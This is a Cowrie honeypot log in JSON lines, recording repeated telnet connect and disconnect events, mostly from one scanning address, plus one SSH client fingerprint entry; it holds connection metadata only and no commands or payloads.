{"eventid":"cowrie.session.closed","duration":31.16617465019226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.245153Z","src_ip":"51.161.172.108","session":"68c0eea1cd5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856316804885864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.253775Z","src_ip":"51.161.172.108","session":"b38b906b59c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90565276145935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.263567Z","src_ip":"51.161.172.108","session":"51ad222e0c8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608511686325073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.286211Z","src_ip":"51.161.172.108","session":"94e71ae02189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594839811325073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.508466Z","src_ip":"51.161.172.108","session":"72a7ef6199ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05816841125488,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.702902Z","src_ip":"51.161.172.108","session":"0e91492263b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42398,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f30d6e979b0","protocol":"telnet","message":"New connection: 51.161.172.108:42398 (159.203.135.109:23) [session: 4f30d6e979b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.711837Z"}
{"eventid":"cowrie.session.closed","duration":31.21746039390564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:11.903418Z","src_ip":"51.161.172.108","session":"d672da05e8b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42406,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c8270ffa62a","protocol":"telnet","message":"New connection: 51.161.172.108:42406 (159.203.135.109:23) [session: 9c8270ffa62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.011697Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e7a025adc5","protocol":"telnet","message":"New connection: 51.161.172.108:42422 (159.203.135.109:23) [session: 67e7a025adc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.059280Z"}
{"eventid":"cowrie.session.closed","duration":32.121928691864014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.074687Z","src_ip":"51.161.172.108","session":"4d9017c3bb35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.703479290008545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.279969Z","src_ip":"51.161.172.108","session":"dfa4ee89294c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065834999084473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.429289Z","src_ip":"51.161.172.108","session":"b987529089b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42436,"dst_ip":"159.203.135.109","dst_port":23,"session":"657e1e721203","protocol":"telnet","message":"New connection: 51.161.172.108:42436 (159.203.135.109:23) [session: 657e1e721203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.459934Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42444,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e57d12b7d30","protocol":"telnet","message":"New connection: 51.161.172.108:42444 (159.203.135.109:23) [session: 1e57d12b7d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.464996Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42458,"dst_ip":"159.203.135.109","dst_port":23,"session":"cde9789c36b4","protocol":"telnet","message":"New connection: 51.161.172.108:42458 (159.203.135.109:23) [session: cde9789c36b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:12.985214Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42470,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b2bf830a07","protocol":"telnet","message":"New connection: 51.161.172.108:42470 (159.203.135.109:23) [session: 49b2bf830a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.068092Z"}
{"eventid":"cowrie.session.closed","duration":31.38129687309265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.128945Z","src_ip":"51.161.172.108","session":"1c32666d8ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089062929153442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.209627Z","src_ip":"51.161.172.108","session":"9f2749db5cb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863749265670776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.329361Z","src_ip":"51.161.172.108","session":"49b3c21b4151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.443195104599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.427718Z","src_ip":"51.161.172.108","session":"01b429ba7263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377691984176636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.679262Z","src_ip":"51.161.172.108","session":"326d628a636d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.775124073028564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.814120Z","src_ip":"51.161.172.108","session":"e8ceb35dd367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055301666259766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.827626Z","src_ip":"51.161.172.108","session":"58dc813765f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42474,"dst_ip":"159.203.135.109","dst_port":23,"session":"9648cdefa782","protocol":"telnet","message":"New connection: 51.161.172.108:42474 (159.203.135.109:23) [session: 9648cdefa782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:13.894522Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42488,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a3fb00c248e","protocol":"telnet","message":"New connection: 51.161.172.108:42488 (159.203.135.109:23) [session: 7a3fb00c248e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.010659Z"}
{"eventid":"cowrie.session.closed","duration":30.968054056167603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.172204Z","src_ip":"51.161.172.108","session":"25b68cdebdda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99079203605652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.177390Z","src_ip":"51.161.172.108","session":"68232446e1d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781893968582153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.213948Z","src_ip":"51.161.172.108","session":"d0b5459d4580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42498,"dst_ip":"159.203.135.109","dst_port":23,"session":"a559a7373bbf","protocol":"telnet","message":"New connection: 51.161.172.108:42498 (159.203.135.109:23) [session: a559a7373bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.229872Z"}
{"eventid":"cowrie.session.closed","duration":30.492218494415283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.234823Z","src_ip":"51.161.172.108","session":"67bb31c13248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065783977508545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.302430Z","src_ip":"51.161.172.108","session":"a6705c71df62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98487377166748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.331054Z","src_ip":"51.161.172.108","session":"d6683e35d9ea","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.385531Z","src_ip":"122.168.114.167","session":"117bf81a0db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.389472Z","src_ip":"122.168.114.167","session":"117bf81a0db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42506,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e838b45912","protocol":"telnet","message":"New connection: 51.161.172.108:42506 (159.203.135.109:23) [session: 23e838b45912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.626833Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42508,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d4a8f9f5ad","protocol":"telnet","message":"New connection: 51.161.172.108:42508 (159.203.135.109:23) [session: 29d4a8f9f5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:14.672447Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42516,"dst_ip":"159.203.135.109","dst_port":23,"session":"12981bf97c4f","protocol":"telnet","message":"New connection: 51.161.172.108:42516 (159.203.135.109:23) [session: 12981bf97c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.021272Z"}
{"eventid":"cowrie.session.closed","duration":30.530958652496338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.173032Z","src_ip":"51.161.172.108","session":"e74a58c5ff7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864698886871338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.193813Z","src_ip":"51.161.172.108","session":"6aef82aba2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36364197731018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.332441Z","src_ip":"51.161.172.108","session":"55f77097adfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01359dfda46","protocol":"telnet","message":"New connection: 51.161.172.108:42530 (159.203.135.109:23) [session: e01359dfda46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.388609Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42548,"dst_ip":"159.203.135.109","dst_port":23,"session":"3032ffb34167","protocol":"telnet","message":"New connection: 51.161.172.108:42548 (159.203.135.109:23) [session: 3032ffb34167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.635980Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc331aa3eab","protocol":"telnet","message":"New connection: 51.161.172.108:42560 (159.203.135.109:23) [session: 6fc331aa3eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.664782Z"}
{"eventid":"cowrie.session.closed","duration":31.0176842212677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.776416Z","src_ip":"51.161.172.108","session":"e386215bd10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.976144552230835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.857705Z","src_ip":"51.161.172.108","session":"5da604ece443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42576,"dst_ip":"159.203.135.109","dst_port":23,"session":"b767c9cb330f","protocol":"telnet","message":"New connection: 51.161.172.108:42576 (159.203.135.109:23) [session: b767c9cb330f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.905307Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42592,"dst_ip":"159.203.135.109","dst_port":23,"session":"83602bd9d730","protocol":"telnet","message":"New connection: 51.161.172.108:42592 (159.203.135.109:23) [session: 83602bd9d730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.925707Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42606,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20bd494bec7","protocol":"telnet","message":"New connection: 51.161.172.108:42606 (159.203.135.109:23) [session: c20bd494bec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:15.947518Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42612,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8e908b9164","protocol":"telnet","message":"New connection: 51.161.172.108:42612 (159.203.135.109:23) [session: 1c8e908b9164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.057013Z"}
{"eventid":"cowrie.session.closed","duration":31.14527988433838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.244540Z","src_ip":"51.161.172.108","session":"ca9080226880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42624,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d8e0327a087","protocol":"telnet","message":"New connection: 51.161.172.108:42624 (159.203.135.109:23) [session: 1d8e0327a087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.282835Z"}
{"eventid":"cowrie.session.closed","duration":30.932761669158936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.493382Z","src_ip":"51.161.172.108","session":"c8898d43ffbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ed9a85df25a","protocol":"telnet","message":"New connection: 167.99.38.72:52098 (159.203.135.109:23) [session: 7ed9a85df25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.526261Z"}
{"eventid":"cowrie.session.closed","duration":30.854262590408325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.654850Z","src_ip":"51.161.172.108","session":"55a40d261bbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42640,"dst_ip":"159.203.135.109","dst_port":23,"session":"f579f04ecd12","protocol":"telnet","message":"New connection: 51.161.172.108:42640 (159.203.135.109:23) [session: f579f04ecd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.772111Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42652,"dst_ip":"159.203.135.109","dst_port":23,"session":"13e9ee00de79","protocol":"telnet","message":"New connection: 51.161.172.108:42652 (159.203.135.109:23) [session: 13e9ee00de79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.866647Z"}
{"eventid":"cowrie.session.closed","duration":31.11306118965149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:16.908459Z","src_ip":"51.161.172.108","session":"04a9b666293a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47201681137085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:17.027187Z","src_ip":"51.161.172.108","session":"639854bb7796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42666,"dst_ip":"159.203.135.109","dst_port":23,"session":"590d5578c60e","protocol":"telnet","message":"New connection: 51.161.172.108:42666 (159.203.135.109:23) [session: 590d5578c60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:17.221472Z"}
{"eventid":"cowrie.session.closed","duration":30.719850301742554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:17.281492Z","src_ip":"51.161.172.108","session":"535ebc4be4be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42668,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c8481e39c5","protocol":"telnet","message":"New connection: 51.161.172.108:42668 (159.203.135.109:23) [session: 97c8481e39c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:17.820557Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56810,"dst_ip":"159.203.135.109","dst_port":23,"session":"82fe5ebfd7e9","protocol":"telnet","message":"New connection: 185.26.126.47:56810 (159.203.135.109:23) [session: 82fe5ebfd7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:17.874400Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42676,"dst_ip":"159.203.135.109","dst_port":23,"session":"547ea8d7eb0e","protocol":"telnet","message":"New connection: 51.161.172.108:42676 (159.203.135.109:23) [session: 547ea8d7eb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:17.913888Z"}
{"eventid":"cowrie.session.closed","duration":31.456464767456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.134599Z","src_ip":"51.161.172.108","session":"8827e25575d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42682,"dst_ip":"159.203.135.109","dst_port":23,"session":"c848a47f14a8","protocol":"telnet","message":"New connection: 51.161.172.108:42682 (159.203.135.109:23) [session: c848a47f14a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.297388Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42694,"dst_ip":"159.203.135.109","dst_port":23,"session":"57667543f5da","protocol":"telnet","message":"New connection: 51.161.172.108:42694 (159.203.135.109:23) [session: 57667543f5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.309418Z"}
{"eventid":"cowrie.session.closed","duration":31.021331071853638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.708540Z","src_ip":"51.161.172.108","session":"41fcacf1da29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42700,"dst_ip":"159.203.135.109","dst_port":23,"session":"486190538d5f","protocol":"telnet","message":"New connection: 51.161.172.108:42700 (159.203.135.109:23) [session: 486190538d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.714989Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42710,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc3d2645c2b","protocol":"telnet","message":"New connection: 51.161.172.108:42710 (159.203.135.109:23) [session: 3dc3d2645c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.816059Z"}
{"eventid":"cowrie.session.closed","duration":31.891806840896606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:18.838176Z","src_ip":"51.161.172.108","session":"54d23985ad54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13134956359863,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.051501Z","src_ip":"51.161.172.108","session":"04c349e42ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022504091262817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.122541Z","src_ip":"45.10.154.244","session":"0c9f06d4811d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82881784439087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.177374Z","src_ip":"51.161.172.108","session":"3ea27edfce5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692035675048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.182463Z","src_ip":"51.161.172.108","session":"dbff543028a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214754104614258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.264704Z","src_ip":"51.161.172.108","session":"c944b59e0076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32954,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba528ec1ffd","protocol":"telnet","message":"New connection: 51.161.172.108:32954 (159.203.135.109:23) [session: bba528ec1ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.320368Z"}
{"eventid":"cowrie.session.closed","duration":30.709452629089355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.327790Z","src_ip":"51.161.172.108","session":"7462ce96418f","protocol":"telnet"}
